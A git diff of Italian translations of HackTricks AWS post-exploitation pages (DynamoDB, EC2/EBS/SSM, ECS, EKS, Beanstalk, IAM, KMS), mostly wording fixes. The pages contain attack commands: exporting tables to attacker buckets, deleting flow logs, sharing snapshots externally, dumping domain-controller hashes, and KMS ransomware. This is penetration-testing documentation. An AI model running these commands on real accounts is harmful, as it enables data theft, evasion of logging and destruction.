permessi precedenti** questo consente a un potenziale attaccante di leggere valori da solo 1 tabella dato la chiave primaria dell'elemento da recuperare. Consente di utilizzare un [sottoinsieme di confronti](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con la chiave primaria (che deve apparire) è "EQ", quindi non puoi utilizzare un confronto per ottenere l'intero DB in una richiesta. {{#tabs }} {{#tab name="json file" }} @@ -107,7 +107,7 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella +**Impatto Potenziale:** Privilegi indiretti di accesso localizzando informazioni sensibili nella tabella ### `dynamodb:Scan` @@ -135,7 +135,7 @@ ma è necessario specificare la chiave primaria con un valore, quindi non è cos ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Questo permesso consentirà a un attaccante di **esportare l'intera tabella in un bucket S3** di sua scelta: +Questa autorizzazione consentirà a un attaccante di **esportare l'intera tabella in un bucket S3** di sua scelta: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Nota che per farlo funzionare la tabella deve avere il ripristino a un determinato momento abilitato, puoi controllare se la tabella ce l'ha con: +Nota che per farlo funzionare la tabella deve avere il point-in-time-recovery abilitato, puoi controllare se la tabella ce l'ha con: ```bash aws dynamodb describe-continuous-backups \ --table-name @@ -192,7 +192,7 @@ aws dynamodb put-item --table --item file://add.json ``` {{#endtab }} -{{#tab name="Esempio AI" }} +{{#tab name="AI Example" }} ```bash aws dynamodb put-item \ --table-name ExampleTable \ @@ -206,7 +206,7 @@ aws dynamodb put-item \ ### `dynamodb:UpdateItem` -Questo permesso consente agli utenti di **modificare gli attributi esistenti di un elemento o aggiungere nuovi attributi a un elemento**. Non **sostituisce** l'intero elemento; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione **creerà un nuovo elemento** con la chiave primaria specificata e imposterà gli attributi specificati nell'espressione di aggiornamento. +Questa autorizzazione consente agli utenti di **modificare gli attributi esistenti di un elemento o aggiungere nuovi attributi a un elemento**. Non **sostituisce** l'intero elemento; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione **creerà un nuovo elemento** con la chiave primaria specificata e imposterà gli attributi specificati nell'espressione di aggiornamento. {{#tabs }} {{#tab name="Esempio XSS" }} @@ -230,7 +230,7 @@ aws dynamodb update-item --table \ ``` {{#endtab }} -{{#tab name="Esempio AI" }} +{{#tab name="AI Example" }} ```bash aws dynamodb update-item \ --table-name ExampleTable \ @@ -242,7 +242,7 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Impatto Potenziale:** Sfruttamento di ulteriori vulnerabilità/bypass grazie alla possibilità di aggiungere/modificare dati in una tabella DynamoDB +**Impatto Potenziale:** Sfruttamento di ulteriori vulnerabilità/evasioni grazie alla possibilità di aggiungere/modificare dati in una tabella DynamoDB ### `dynamodb:DeleteTable` @@ -267,9 +267,9 @@ aws dynamodb delete-backup \ ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Testare se questo funziona realmente +> TODO: Testare se questo funziona effettivamente -Un attaccante con questi permessi può **abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a trasmettere le modifiche e poi accedere allo stream per monitorare le modifiche alla tabella in tempo reale**. Questo consente all'attaccante di monitorare ed esfiltrare le modifiche ai dati, portando potenzialmente a una fuga di dati. +Un attaccante con questi permessi può **abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a trasmettere le modifiche e poi accedere allo stream per monitorare le modifiche alla tabella in tempo reale**. Questo consente all'attaccante di monitorare ed esfiltrare le modifiche ai dati, portando potenzialmente a una perdita di dati. 1. Abilitare uno stream su una tabella DynamoDB: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 9b651c220..381dcaf52 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -10,7 +10,7 @@ Per ulteriori informazioni controlla: ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **Specchio VPC Maligno -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` Il mirroring del traffico VPC **duplica il traffico in entrata e in uscita per le istanze EC2 all'interno di un VPC** senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato verrebbe comunemente inviato a qualcosa come un sistema di rilevamento delle intrusioni di rete (IDS) per analisi e monitoraggio.\ Un attaccante potrebbe abusare di questo per catturare tutto il traffico e ottenere informazioni sensibili da esso: @@ -74,7 +74,7 @@ Un attaccante potrebbe chiamare gli endpoint API di un account controllato da lu ### Open Security Group -Potresti ottenere ulteriore accesso ai servizi di rete aprendo porte in questo modo: +Potresti ottenere ulteriore accesso ai servizi di rete aprendo porte come questa: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC @@ -85,7 +85,7 @@ aws ec2 authorize-security-group-ingress --group-id --protocol tcp --por Per [**maggiori informazioni controlla questo**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). -### Rimuovi i log di flusso VPC +### Remove VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` @@ -95,7 +95,7 @@ Permessi richiesti: - `ssm:StartSession` -Oltre all'esecuzione di comandi, SSM consente il tunneling del traffico, che può essere sfruttato per pivotare da istanze EC2 che non hanno accesso alla rete a causa dei Security Groups o delle NACL. Uno degli scenari in cui questo è utile è il pivoting da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato. +Oltre all'esecuzione di comandi, SSM consente il tunneling del traffico che può essere sfruttato per pivotare da istanze EC2 che non hanno accesso alla rete a causa dei Security Groups o dei NACL. Uno degli scenari in cui questo è utile è il pivoting da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato. > Per avviare una sessione è necessario avere installato il SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html @@ -104,7 +104,7 @@ Oltre all'esecuzione di comandi, SSM consente il tunneling del traffico, che pu ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Ottieni le credenziali temporanee del Bastion EC2 AWS con lo script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) +3. Ottieni le credenziali temporanee Bastion EC2 AWS con lo script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) 4. Trasferisci le credenziali al tuo computer nel file `$HOME/.aws/credentials` come profilo `[bastion-ec2]` 5. Accedi a EKS come Bastion EC2: ```shell @@ -119,7 +119,7 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo ```shell kubectl get pods --insecure-skip-tls-verify ``` -Nota che le connessioni SSL falliranno a meno che non imposti il flag `--insecure-skip-tls-verify` (o il suo equivalente negli strumenti di audit K8s). Poiché il traffico è tunnelato attraverso il sicuro tunnel AWS SSM, sei al sicuro da qualsiasi tipo di attacco MitM. +Nota che le connessioni SSL falliranno a meno che tu non imposti il flag `--insecure-skip-tls-verify` (o il suo equivalente negli strumenti di audit K8s). Poiché il traffico è tunnelato attraverso il sicuro tunnel AWS SSM, sei al sicuro da qualsiasi tipo di attacchi MitM. Infine, questa tecnica non è specifica per attaccare cluster EKS privati. Puoi impostare domini e porte arbitrari per pivotare verso qualsiasi altro servizio AWS o un'applicazione personalizzata. @@ -131,15 +131,15 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{ - [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMI) pubbliche o private**. Automatizza il processo di avvio di istanze da AMI target, montando i loro volumi e scansionando alla ricerca di potenziali segreti o dati sensibili. -### Condividi snapshot EBS +### Condividi Snapshot EBS ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` ### EBS Ransomware PoC -Una prova di concetto simile alla dimostrazione di Ransomware mostrata nelle note di post-exploitation di S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service, data la facilità con cui è possibile utilizzarlo per crittografare vari servizi AWS. +Una prova di concetto simile alla dimostrazione di Ransomware mostrata nelle note di post-exploitation di S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service, considerando quanto sia facile usarlo per crittografare vari servizi AWS. -Per prima cosa, da un account AWS 'attaccante', crea una chiave gestita dal cliente in KMS. Per questo esempio, lasceremo che AWS gestisca i dati della chiave per me, ma in uno scenario realistico un attore malintenzionato manterrebbe i dati della chiave al di fuori del controllo di AWS. Cambia la policy della chiave per consentire a qualsiasi Principale dell'account AWS di utilizzare la chiave. Per questa policy della chiave, il nome dell'account era 'AttackSim' e la regola della policy che consente l'accesso completo si chiama 'Outside Encryption' +Per prima cosa, da un account AWS 'attaccante', crea una chiave gestita dal cliente in KMS. Per questo esempio, lasceremo che AWS gestisca i dati della chiave per me, ma in uno scenario realistico un attore malintenzionato mantenerebbe i dati della chiave al di fuori del controllo di AWS. Cambia la policy della chiave per consentire a qualsiasi Principale dell'account AWS di utilizzare la chiave. Per questa policy della chiave, il nome dell'account era 'AttackSim' e la regola della policy che consente l'accesso completo si chiama 'Outside Encryption' ``` { "Version": "2012-10-17", @@ -231,7 +231,7 @@ Per prima cosa, da un account AWS 'attaccante', crea una chiave gestita dal clie ] } ``` -La regola della policy della chiave deve avere i seguenti abilitati per consentire la possibilità di utilizzarla per crittografare un volume EBS: +La regola della policy della chiave deve avere i seguenti abilitati per consentire l'uso per crittografare un volume EBS: - `kms:CreateGrant` - `kms:Decrypt` @@ -328,7 +328,7 @@ Aspetta un momento affinché la nuova policy della chiave si propaghi. Poi torna ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Ma quando provi effettivamente a riavviare l'istanza EC2 con il volume EBS crittografato, fallirà e passerà dallo stato 'in attesa' allo stato 'fermo' per sempre poiché il volume EBS allegato non può essere decrittografato utilizzando la chiave poiché la policy della chiave non lo consente più. +Ma quando tenti di avviare nuovamente l'istanza EC2 con il volume EBS crittografato, fallirà e passerà dallo stato 'in attesa' allo stato 'fermo' per sempre, poiché il volume EBS allegato non può essere decrittografato utilizzando la chiave, poiché la policy della chiave non lo consente più. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 8c9b6d825..a71442fef 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -67,30 +67,30 @@ Passo 2: L'opzione "allega volume" deve essere selezionata facendo clic con il t Passo 3: L'istanza dalla casella di testo dell'istanza deve essere selezionata. -Per poter eseguire questa azione, utilizza il seguente comando: +Per poter eseguire questa azione, usa il seguente comando: - Allegare il volume EBS. -Passo 4: Accedi all'istanza EC2 e elenca i dischi disponibili utilizzando il comando `lsblk`. +Passo 4: Accedi all'istanza EC2 e elenca i dischi disponibili usando il comando `lsblk`. Passo 5: Controlla se il volume ha dati utilizzando il comando `sudo file -s /dev/xvdf`. Se l'output del comando sopra mostra "/dev/xvdf: data", significa che il volume è vuoto. -Passo 6: Format il volume nel filesystem ext4 utilizzando il comando `sudo mkfs -t ext4 /dev/xvdf`. In alternativa, puoi anche utilizzare il formato xfs usando il comando `sudo mkfs -t xfs /dev/xvdf`. Si prega di notare che dovresti utilizzare o ext4 o xfs. +Passo 6: Format il volume nel filesystem ext4 usando il comando `sudo mkfs -t ext4 /dev/xvdf`. In alternativa, puoi anche usare il formato xfs utilizzando il comando `sudo mkfs -t xfs /dev/xvdf`. Si prega di notare che dovresti usare o ext4 o xfs. Passo 7: Crea una directory a tua scelta per montare il nuovo volume ext4. Ad esempio, puoi usare il nome "newvolume". -Per poter eseguire questa azione, utilizza il comando `sudo mkdir /newvolume`. +Per poter eseguire questa azione, usa il comando `sudo mkdir /newvolume`. -Passo 8: Monta il volume nella directory "newvolume" utilizzando il comando `sudo mount /dev/xvdf /newvolume/`. +Passo 8: Monta il volume nella directory "newvolume" usando il comando `sudo mount /dev/xvdf /newvolume/`. Passo 9: Cambia directory nella directory "newvolume" e controlla lo spazio su disco per convalidare il montaggio del volume. -Per poter eseguire questa azione, utilizza i seguenti comandi: +Per poter eseguire questa azione, usa i seguenti comandi: - Cambia directory in `/newvolume`. -- Controlla lo spazio su disco utilizzando il comando `df -h .`. L'output di questo comando dovrebbe mostrare lo spazio libero nella directory "newvolume". +- Controlla lo spazio su disco usando il comando `df -h .`. L'output di questo comando dovrebbe mostrare lo spazio libero nella directory "newvolume". Puoi farlo con Pacu utilizzando il modulo `ebs__explore_snapshots`. @@ -122,7 +122,7 @@ ls /mnt ``` ## Shadow Copy -Qualsiasi utente AWS in possesso del permesso **`EC2:CreateSnapshot`** può rubare gli hash di tutti gli utenti del dominio creando un **snapshot del Domain Controller**, montandolo su un'istanza che controllano ed **esportando il file NTDS.dit e il registro SYSTEM** per l'uso con il progetto secretsdump di Impacket. +Qualsiasi utente AWS in possesso del permesso **`EC2:CreateSnapshot`** può rubare gli hash di tutti gli utenti del dominio creando un **snapshot del Domain Controller**, montandolo su un'istanza che controllano e **esportando il file NTDS.dit e il registro SYSTEM** per l'uso con il progetto secretsdump di Impacket. Puoi utilizzare questo strumento per automatizzare l'attacco: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) oppure potresti utilizzare una delle tecniche precedenti dopo aver creato uno snapshot. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index 07645009b..8bdfd9c6f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -24,7 +24,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### Privesc al nodo per rubare credenziali e segreti di altri container -Inoltre, EC2 utilizza docker per eseguire i task ECs, quindi se riesci a scappare nel nodo o **accedere al socket docker**, puoi **controllare** quali **altri container** sono in esecuzione, e persino **entrare in essi** e **rubare i loro ruoli IAM** associati. +Inoltre, EC2 utilizza docker per eseguire i task EC, quindi se riesci a scappare al nodo o **accedere al socket docker**, puoi **controllare** quali **altri container** sono in esecuzione, e persino **entrare in essi** e **rubare i loro ruoli IAM** associati. #### Far eseguire i container nell'host attuale @@ -38,7 +38,7 @@ La stessa tecnica può essere eseguita **dissociando l'istanza EC2 dal cluster** aws ecs deregister-container-instance \ --cluster --container-instance --force ``` -Una tecnica finale per forzare la riesecuzione dei compiti è indicare a ECS che il **compito o il contenitore è stato arrestato**. Ci sono 3 API potenziali per farlo: +Una tecnica finale per forzare la riesecuzione dei compiti è indicare a ECS che il **compito o il contenitore è stato fermato**. Ci sono 3 API potenziali per farlo: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index 474739d4f..7c6587755 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -12,7 +12,7 @@ Per ulteriori informazioni controlla ### Enumerare il cluster dalla Console AWS -Se hai il permesso **`eks:AccessKubernetesApi`** puoi **visualizzare gli oggetti Kubernetes** tramite la console AWS EKS ([Scopri di più](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +Se hai il permesso **`eks:AccessKubernetesApi`** puoi **visualizzare gli oggetti Kubernetes** tramite la console AWS EKS ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). ### Connettersi al Cluster Kubernetes di AWS @@ -21,9 +21,9 @@ Se hai il permesso **`eks:AccessKubernetesApi`** puoi **visualizzare gli oggetti # Generate kubeconfig aws eks update-kubeconfig --name aws-eks-dev ``` -- Non è un modo così facile: +- Non è così facile: -Se puoi **ottenere un token** con **`aws eks get-token --name `** ma non hai permessi per ottenere informazioni sul cluster (describeCluster), potresti **preparare il tuo `~/.kube/config`**. Tuttavia, avendo il token, hai ancora bisogno dell'**url endpoint a cui connetterti** (se sei riuscito a ottenere un token JWT da un pod leggi [qui](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) e del **nome del cluster**. +Se puoi **ottenere un token** con **`aws eks get-token --name `** ma non hai i permessi per ottenere informazioni sul cluster (describeCluster), potresti **preparare il tuo `~/.kube/config`**. Tuttavia, avendo il token, hai ancora bisogno dell'**url endpoint a cui connetterti** (se sei riuscito a ottenere un token JWT da un pod leggi [qui](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) e del **nome del cluster**. Nel mio caso, non ho trovato le informazioni nei log di CloudWatch, ma le **ho trovate in LaunchTemplates userData** e in **macchine EC2 in userData anche**. Puoi vedere queste informazioni in **userData** facilmente, ad esempio nel seguente esempio (il nome del cluster era cluster-name): ```bash @@ -72,22 +72,22 @@ provideClusterInfo: false ### Da AWS a Kubernetes -Il **creatore** del **cluster EKS** sarà **SEMPR** in grado di accedere alla parte del cluster kubernetes del gruppo **`system:masters`** (admin k8s). Al momento della scrittura non c'è **modo diretto** per scoprire **chi ha creato** il cluster (puoi controllare CloudTrail). E non c'è **modo** per **rimuovere** quel **privilegio**. +Il **creatore** del **cluster EKS** sarà **SEMPR** in grado di accedere alla parte del cluster kubernetes del gruppo **`system:masters`** (admin k8s). Al momento della scrittura non c'è **modo diretto** per scoprire **chi ha creato** il cluster (puoi controllare CloudTrail). E non c'è **modo** di **rimuovere** quel **privilegio**. -Il modo per concedere **accesso a più utenti o ruoli AWS IAM** su K8s è utilizzare il **configmap** **`aws-auth`**. +Il modo per concedere **accesso a più utenti o ruoli AWS IAM su K8s** è utilizzare il **configmap** **`aws-auth`**. > [!WARNING] -> Pertanto, chiunque abbia **accesso in scrittura** sulla config map **`aws-auth`** sarà in grado di **compromettere l'intero cluster**. +> Pertanto, chiunque abbia **accesso in scrittura** sul config map **`aws-auth`** sarà in grado di **compromettere l'intero cluster**. -Per ulteriori informazioni su come **concedere privilegi extra a ruoli e utenti IAM** nello **stesso o in un altro account** e come **abusare** di questo per [**privesc controlla questa pagina**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). +Per ulteriori informazioni su come **concedere privilegi extra a ruoli e utenti IAM** nello **stesso o diverso account** e come **abusare** di questo per [**privesc controlla questa pagina**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). -Controlla anche [**questo fantastico**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post per scoprire come funziona l'autenticazione IAM -> Kubernetes**. +Controlla anche [**questo fantastico**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post per imparare come funziona l'autenticazione IAM -> Kubernetes**. ### Da Kubernetes a AWS È possibile consentire un **autenticazione OpenID per l'account di servizio kubernetes** per consentire loro di assumere ruoli in AWS. Scopri come [**questo funziona in questa pagina**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). -### OTTIENI l'endpoint del server Api da un token JWT +### OTTIENI l'Endpoint del Server Api da un Token JWT Decodificando il token JWT otteniamo l'id del cluster e anche la regione. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sapendo che il formato standard per l'url EKS è ```bash @@ -133,7 +133,7 @@ Nota che il **cluster EKS potrebbe avere i log abilitati** che registreranno que Per impostazione predefinita, il **utente o il ruolo che ha creato** un cluster ha **SEMPRE privilegi di amministratore** sul cluster. E che l'unico accesso "sicuro" che AWS avrà sul cluster Kubernetes. -Quindi, se un **attaccante compromette un cluster utilizzando fargate** e **rimuove tutti gli altri amministratori** e **elimina l'utente/ruolo AWS che ha creato** il cluster, ~~l'attaccante potrebbe aver **riscattato il cluster**~~**r**. +Quindi, se un **attaccante compromette un cluster utilizzando fargate** e **rimuove tutti gli altri amministratori** e **elimina l'utente/ruolo AWS che ha creato** il Cluster, ~~l'attaccante potrebbe aver **riscattato il cluster**~~**r**. > [!TIP] > Nota che se il cluster stava utilizzando **EC2 VMs**, potrebbe essere possibile ottenere privilegi di amministratore dal **Node** e recuperare il cluster. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 16823def9..4f43d9f65 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -15,7 +15,7 @@ Per ulteriori informazioni: > [!NOTE] > TODO: Testare se sono necessarie ulteriori autorizzazioni per questo -Un attaccante con il permesso `elasticbeanstalk:DeleteApplicationVersion` può **eliminare una versione di applicazione esistente**. Questa azione potrebbe interrompere le pipeline di distribuzione dell'applicazione o causare la perdita di versioni specifiche dell'applicazione se non vengono eseguiti backup. +Un attaccante con il permesso `elasticbeanstalk:DeleteApplicationVersion` può **eliminare una versione di applicazione esistente**. Questa azione potrebbe interrompere i pipeline di distribuzione dell'applicazione o causare la perdita di versioni specifiche dell'applicazione se non vengono eseguiti backup. ```bash aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version ``` @@ -37,7 +37,7 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env > [!NOTE] > TODO: Testare se sono necessarie ulteriori autorizzazioni per questo -Un attaccante con l'autorizzazione `elasticbeanstalk:DeleteApplication` può **eliminare un'intera applicazione Elastic Beanstalk**, comprese tutte le sue versioni e ambienti. Questa azione potrebbe causare una significativa perdita di risorse e configurazioni dell'applicazione se non vengono eseguiti backup. +Un attaccante con l'autorizzazione `elasticbeanstalk:DeleteApplication` può **eliminare un'intera applicazione Elastic Beanstalk**, comprese tutte le sue versioni e ambienti. Questa azione potrebbe causare una significativa perdita di risorse e configurazioni dell'applicazione se non viene eseguito un backup. ```bash aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index 71823d421..b65c8af3a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -14,7 +14,7 @@ Per ulteriori informazioni sull'accesso IAM: Se **consenti a un account esterno (A)** di accedere a un **ruolo** nel tuo account, probabilmente avrai **0 visibilità** su **chi può esattamente accedere a quell'account esterno**. Questo è un problema, perché se un altro account esterno (B) può accedere all'account esterno (A), è possibile che **B possa anche accedere al tuo account**. -Pertanto, quando consenti a un account esterno di accedere a un ruolo nel tuo account, è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per **assumere il ruolo nella tua organizzazione**. Poiché l'**account esterno B non conoscerà questa stringa**, anche se ha accesso a A, **non potrà accedere al tuo ruolo**. +Pertanto, quando consenti a un account esterno di accedere a un ruolo nel tuo account, è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per **assumere il ruolo nella tua organizzazione**. Poiché l'**account esterno B non conoscerà questa stringa**, anche se ha accesso su A, **non potrà accedere al tuo ruolo**.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index da34914e3..bd2c0b1f1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -15,7 +15,7 @@ Per ulteriori informazioni controlla: `fileb://` e `file://` sono schemi URI utilizzati nei comandi AWS CLI per specificare il percorso ai file locali: - `fileb://:` Legge il file in modalità binaria, comunemente usato per file non di testo. -- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplice, script o JSON che non ha requisiti di codifica speciali. +- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplice, script o JSON che non hanno requisiti di codifica speciali. > [!TIP] > Nota che se vuoi decrittografare alcuni dati all'interno di un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://) @@ -60,9 +60,9 @@ aws kms decrypt \ ``` ### KMS Ransomware -Un attaccante con accesso privilegiato su KMS potrebbe modificare la politica KMS delle chiavi e **concedere al proprio account accesso su di esse**, rimuovendo l'accesso concesso all'account legittimo. +Un attaccante con accesso privilegiato su KMS potrebbe modificare la policy KMS delle chiavi e **concedere al proprio account accesso su di esse**, rimuovendo l'accesso concesso all'account legittimo. -Quindi, gli utenti dell'account legittimo non saranno in grado di accedere a nessuna informazione di alcun servizio che è stato crittografato con quelle chiavi, creando un ransomware facile ma efficace sull'account. +In questo modo, gli utenti dell'account legittimo non saranno in grado di accedere a nessuna informazione di alcun servizio che è stato crittografato con quelle chiavi, creando un ransomware facile ma efficace sull'account. > [!WARNING] > Nota che **le chiavi gestite da AWS non sono colpite** da questo attacco, solo **le chiavi gestite dal cliente**. @@ -100,14 +100,14 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ #### Ransomware KMS Globale -C'è un altro modo per eseguire un ransomware KMS globale, che comporterebbe i seguenti passaggi: +C'è un altro modo per eseguire un Ransomware KMS globale, che comporterebbe i seguenti passaggi: - Creare una nuova **chiave con un materiale di chiave** importato dall'attaccante -- **Ri-criptare i dati più vecchi** criptati con la versione precedente con la nuova. +- **Recrittare i dati più vecchi** crittografati con la versione precedente con la nuova. - **Eliminare la chiave KMS** -- Ora solo l'attaccante, che ha il materiale di chiave originale, potrebbe essere in grado di decriptare i dati criptati +- Ora solo l'attaccante, che ha il materiale di chiave originale, potrebbe essere in grado di decrittografare i dati crittografati -### Distruggere le chiavi +### Distruggere chiavi ```bash # Destoy they key material previously imported making the key useless aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab @@ -118,7 +118,7 @@ aws kms schedule-key-deletion \ --pending-window-in-days 7 ``` > [!CAUTION] -> Nota che AWS ora **impedisce che le azioni precedenti vengano eseguite da un account diverso:** +> Nota che AWS ora **preclude che le azioni precedenti vengano eseguite da un account diverso:**
